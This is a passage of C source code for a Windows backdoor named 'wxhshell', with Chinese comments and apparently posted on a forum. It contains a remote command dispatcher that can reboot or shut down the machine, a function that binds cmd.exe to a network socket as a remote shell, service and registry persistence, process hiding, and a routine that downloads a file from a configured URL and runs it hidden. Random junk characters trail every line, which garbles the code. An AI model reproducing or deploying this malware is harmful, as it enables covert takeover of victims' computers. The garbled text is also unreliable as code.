  &w15 GO;4  
  // 帮助 tNpBRk(}  
  case '?': { LB9D6,*t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [0vgA#6I  
    break; Q8-;w{%  
  } %-9?rOr  
  // 安装 ][vm4UY  
  case 'i': { )B"k;dLm  
    if(Install()) aia`mO]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HK}br!?  
    else ].ZfTrM]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ ;T|`Y=7  
    break; :c75*h`  
    } mQL8ec_c  
  // 卸载 S7oPdzcU-  
  case 'r': { _{Z!$q6,  
    if(Uninstall()) 9ZXkuP9vm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T0HNld  
    else Oly"ll*K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 287g 5  
    break; o,qq*}=  
    } q|7i6jq\*R  
  // 显示 wxhshell 所在路径 wPr9N}rf  
  case 'p': { #BPJRNXd  
    char svExeFile[MAX_PATH]; T'i^yd }*v  
    strcpy(svExeFile,"\n\r"); 8Dy5g  
      strcat(svExeFile,ExeFile); uX/K/4  
        send(wsh,svExeFile,strlen(svExeFile),0); \NZ(Xk  
    break; # <?igtUO  
    } FS'|e?WU  
  // 重启 TEJn;D<1I,  
  case 'b': { UTWchh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E5 ;6ks)  
    if(Boot(REBOOT)) z6'Cz}%EP'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y<9' 3\  
    else { 7{z\^R^O  
    closesocket(wsh); SI)QX\is8  
    ExitThread(0); pseN!7+or  
    } sA(d_ Yu_  
    break; nu(;yIRP  
    } e:9s%|]T  
  // 关机 C4[)yJ  
  case 'd': { og[cwa_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #}xw *)3  
    if(Boot(SHUTDOWN)) o:wI{?%-3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V><,.p8  
    else { ?8U#,qq#`  
    closesocket(wsh); ZA1:Y{ V  
    ExitThread(0); 60\`TsFobT  
    } 42oW]b%P{;  
    break; nmo<t]  
    }  g)Tr#  
  // 获取shell 8(zE^W,[8"  
  case 's': { olv0w ;s  
    CmdShell(wsh); Cg8s9qE?  
    closesocket(wsh); .IU\wN  
    ExitThread(0); 9}|x N8  
    break; WEaG/)y  
  } ""f'L,`{.  
  // 退出 0 :iR=S  
  case 'x': { gf ?_tB0C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @?2ES@G+Ji  
    CloseIt(wsh); |LLDaA-=0  
    break; $xU)t&Df  
    } _j\GA6  
  // 离开 ]5O]=^ u0  
  case 'q': { Q]{ `m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); FoQy@GnM5  
    closesocket(wsh); fsjCu!  
    WSACleanup(); ,+4*\yI3l  
    exit(1); nl-y0xD9c  
    break; y3 "+4e  
        } pi|=3W  
  } \1He9~6  
  } r!<)CT}D  
L`"j> ),  
  // 提示信息 ^O3i)GO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yU"lJ>Eh}}  
} ew.jsa`TrW  
  } "h5.^5E6  
im3BQIPR  
  return; 8B`w!@hf  
} 60R]Q  
+;ylld  
// shell模块句柄 i+Lqj  
int CmdShell(SOCKET sock) O?`_RN4l  
{ ,hOi5,|?L  
STARTUPINFO si; Ya &\b 6  
ZeroMemory(&si,sizeof(si)); @~QI3)=s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bo-L|R&O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Js<DVe,  
PROCESS_INFORMATION ProcessInfo; "x0/i?pqa  
char cmdline[]="cmd"; D JZ$M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nN2huNTf:  
  return 0; 6)veuA3]  
} FL {$9o\@  
mb>8=hMg  
// 自身启动模式 $x*(D|\'<  
int StartFromService(void) [Y4Wm?  
{ ?="?)t[  
typedef struct w|1O-k`  
{ F!<!)_8Q  
  DWORD ExitStatus; /5Sd?pW;  
  DWORD PebBaseAddress; mndKUI}d  
  DWORD AffinityMask; %i.Prckrb  
  DWORD BasePriority; B|"-Ed  
  ULONG UniqueProcessId; UP7?9\  
  ULONG InheritedFromUniqueProcessId; f~R+Q/Gtz`  
}   PROCESS_BASIC_INFORMATION;  20]p<  
d"tR ?j  
PROCNTQSIP NtQueryInformationProcess; ]*hH.ZBY"^  
>qVSepK3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =gB8(1g8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ffMk.SqI  
OtbPr F5  
  HANDLE             hProcess; [:zP]l.|  
  PROCESS_BASIC_INFORMATION pbi; W9QVfe#s  
 [a_o3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IgN^~ag`  
  if(NULL == hInst ) return 0; =6 3tp 9  
&x\cEI)!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2wJa:=$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `pjB^--w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &`,Y/Cbw  
NwVhJdo  
  if (!NtQueryInformationProcess) return 0; 6 ZAZJn|  
";;!c.!^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -ykD/  
  if(!hProcess) return 0; =!G{+&j  
^zW=s$\Fo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #-o 'g!  
/Pxny3  
  CloseHandle(hProcess); 1ASoH,D/  
[C\B2iU7_M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (*_lLM@Cd  
if(hProcess==NULL) return 0; tAPf#7{|   
1aZGt2;  
HMODULE hMod; 9o4h~Imu  
char procName[255]; k?rJGc G  
unsigned long cbNeeded; Q/q>mN"#1  
' &3,qT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hV+=hX<h  
DJ9x?SL@KD  
  CloseHandle(hProcess); \8g= Ix  
MxH |yo[  
if(strstr(procName,"services")) return 1; // 以服务启动 gZiwXb  
"jLC!h^N  
  return 0; // 注册表启动 !zsrORF{  
} F B:nkUR`  
U^eos;:s8  
// 主模块 |+KwyHE`9  
int StartWxhshell(LPSTR lpCmdLine) S>)[n]f  
{ +&dkJ 4g[  
  SOCKET wsl; ddN G :  
BOOL val=TRUE; do*aE  
  int port=0; %P{3c~?DH  
  struct sockaddr_in door; M ziOpraj  
t 4VeXp6  
  if(wscfg.ws_autoins) Install(); M[+#*f.T}  
_''un3eCY  
port=atoi(lpCmdLine); "LSzF_mK  
#G_'5{V  
if(port<=0) port=wscfg.ws_port; 9 r&JsCc  
xQ2: tY#?  
  WSADATA data; pTB7k3g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |fW_9={1kQ  
&r,)4q+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    Bnk '  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0qIg:+l+  
  door.sin_family = AF_INET; d WY{x47  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3Fxr=  
  door.sin_port = htons(port); B=$O4nW_b  
A2;6Vz=z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -SfU.XlZl  
closesocket(wsl); "vT$?IoEV  
return 1; :`E p#[Wvo  
} m=+x9gL2  
G%, RD}D  
  if(listen(wsl,2) == INVALID_SOCKET) { 9e c},~(  
closesocket(wsl); 2gZ nrU  
return 1; [q C0YM  
} ,tcUJ}l  
  Wxhshell(wsl); Yufj y=!  
  WSACleanup(); !%D';wQ,/  
7(oA(l1V  
return 0; 4P"bOt5izR  
PEm2w#X%L  
} 3!osQ1  
~%C F3?e6  
// 以NT服务方式启动 Yb4ku7}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E4>}O;m0  
{ ~;a \S3  
DWORD   status = 0; =<#G~8WYz  
  DWORD   specificError = 0xfffffff; _ziSH 3(  
096Yd=3h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z#ki# o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E>f{j:M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }]PHE(}7  
  serviceStatus.dwWin32ExitCode     = 0; vV*J;%MO  
  serviceStatus.dwServiceSpecificExitCode = 0; dS3\P5D.*c  
  serviceStatus.dwCheckPoint       = 0; -*MY7t3  
  serviceStatus.dwWaitHint       = 0; Rw%?@X3m]  
V=dOeuYd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '"\'<>Be  
  if (hServiceStatusHandle==0) return; 6_])(F3+w.  
E5@=LS  
status = GetLastError(); CoNaGb  
  if (status!=NO_ERROR) '?mF,C o{  
{ \~z$'3H`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QnD8L.Dg  
    serviceStatus.dwCheckPoint       = 0; ]X77?Zz9  
    serviceStatus.dwWaitHint       = 0; :i4(cap&}F  
    serviceStatus.dwWin32ExitCode     = status; IQ~qiFCf  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ul9^"o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RJzIzv99m  
    return; VQ| {Q}  
  } pCrm `hy(  
W. kcN,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "n` z`{<n  
  serviceStatus.dwCheckPoint       = 0; LUId<We  
  serviceStatus.dwWaitHint       = 0; yDKH;o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `D |/g;  
} DAP/  
-` ViuDX=  
// 处理NT服务事件,比如:启动、停止 8K?}!$fz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;'8Wl  
{ 5;HGS{`  
switch(fdwControl) 2Kz$y JTp  
{ ]6[+tpx  
case SERVICE_CONTROL_STOP: `dG;SM$T,  
  serviceStatus.dwWin32ExitCode = 0; fc8ODk*;E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >MN"87U6  
  serviceStatus.dwCheckPoint   = 0; xh$yXP0/  
  serviceStatus.dwWaitHint     = 0; 2=n`z) R  
  { 7=^}{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B I)@n:p  
  } n}IGxum8`  
  return; >Ti%Th,  
case SERVICE_CONTROL_PAUSE: 7Tdx*1 U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y zp#  
  break; Ht(TYq  
case SERVICE_CONTROL_CONTINUE: g^(gT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Wn+s:o v  
  break; K+!e1 '  
case SERVICE_CONTROL_INTERROGATE: g"5Kth  
  break; ^ExuIe  
}; <I34@;R c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ub-e!{  
} 452kE@=49  
I V# 8W  
// 标准应用程序主函数 sV,Yz3E<u$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )5~T%_  
{ q%])dZ!lE  
/X.zt `  
// 获取操作系统版本 Od~uYOL/B  
OsIsNt=GetOsVer(); vLHn4>J,R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j;@a~bks6z  
ygIn6.p  
  // 从命令行安装 FsJk"$}  
  if(strpbrk(lpCmdLine,"iI")) Install(); mI,lW|/l,  
e[u}Vf  
  // 下载执行文件 (KyOo,a  
if(wscfg.ws_downexe) { AZc= Bbh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n'V{  
  WinExec(wscfg.ws_filenam,SW_HIDE); BYEZ[cM  
} 2K};-}eW  
&lSNI5l  
if(!OsIsNt) { L7buY(F(  
// 如果时win9x,隐藏进程并且设置为注册表启动 r/'!#7dLG-  
HideProc(); }i"[5:  
StartWxhshell(lpCmdLine); gR# k'   
} 6R<+_e+v  
else y*+8Z&i.:  
  if(StartFromService()) FqA4 O U  
  // 以服务方式启动 Ut\:jV=f  
  StartServiceCtrlDispatcher(DispatchTable); ub~ t}  
else o}:x-Y  
  // 普通方式启动 sk39[9  
  StartWxhshell(lpCmdLine);  FNH)wk  
s2SV   
return 0; XJeWhk3R9  
}
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只看该作者 1 发表于: 2006-10-10
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